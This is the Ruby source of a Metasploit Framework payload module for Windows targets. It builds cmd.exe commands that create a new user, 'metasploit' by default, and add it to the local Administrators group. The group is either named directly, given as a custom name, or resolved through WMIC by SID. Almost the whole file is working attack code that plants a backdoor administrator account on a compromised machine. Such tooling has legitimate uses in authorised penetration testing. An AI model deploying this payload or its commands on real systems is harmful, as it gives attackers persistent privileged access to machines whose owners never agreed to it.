metasploit-framework/modules/payloads/singles/cmd/windows/adduser.rb

94 lines
3.1 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Execute net user /ADD CMD',
'Description' => %q{
Create a new user and add them to local administration group.
Note: The specified password is checked for common complexity
requirements to prevent the target machine rejecting the user
for failing to meet policy requirements.
Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)
},
'Author' => ['hdm','scriptjunkie','Chris John Riley'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::None,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
register_options(
[
OptString.new('USER', [ true, "The username to create", "metasploit" ]),
OptString.new('PASS', [ true, "The password for this user", "Metasploit$1" ]),
OptString.new('CUSTOM', [ false, "Custom group name to be used instead of default", '' ]),
OptBool.new('WMIC', [ true, "Use WMIC on the target to resolve administrators group", false ]),
], self.class)
register_advanced_options(
[
OptBool.new("COMPLEXITY", [ true, "Check password for complexity rules", true ]),
], self.class)
end
def generate
return super + command_string
end
def command_string
user = datastore['USER'] || 'metasploit'
pass = datastore['PASS'] || ''
cust = datastore['CUSTOM'] || ''
wmic = datastore['WMIC']
complexity = datastore['COMPLEXITY']
if(pass.length > 14)
raise ArgumentError, "Password for the adduser payload must be 14 characters or less"
end
if complexity and pass !~ /\A^.*((?=.{8,})(?=.*[a-z])(?=.*[A-Z])(?=.*[\d\W])).*$/
raise ArgumentError, "Password: #{pass} doesn't meet complexity requirements and may cause issues"
end
if not cust.empty?
print_status("Using custom group name #{cust}")
return "cmd.exe /c net user #{user} #{pass} /ADD && " +
"net localgroup \"#{cust}\" #{user} /ADD"
elsif wmic
print_status("Using WMIC to discover the administrative group name")
return "cmd.exe /c \"FOR /F \"usebackq tokens=2* skip=1 delims==\" " +
"%G IN (`wmic group where sid^='S-1-5-32-544' get name /Value`); do " +
"FOR /F \"usebackq tokens=1 delims==\" %X IN (`echo %G`); do " +
"net user #{user} #{pass} /ADD && " +
"net localgroup \"%X\" #{user} /ADD\""
else
return "cmd.exe /c net user #{user} #{pass} /ADD && " +
"net localgroup Administrators #{user} /ADD"
end
end
end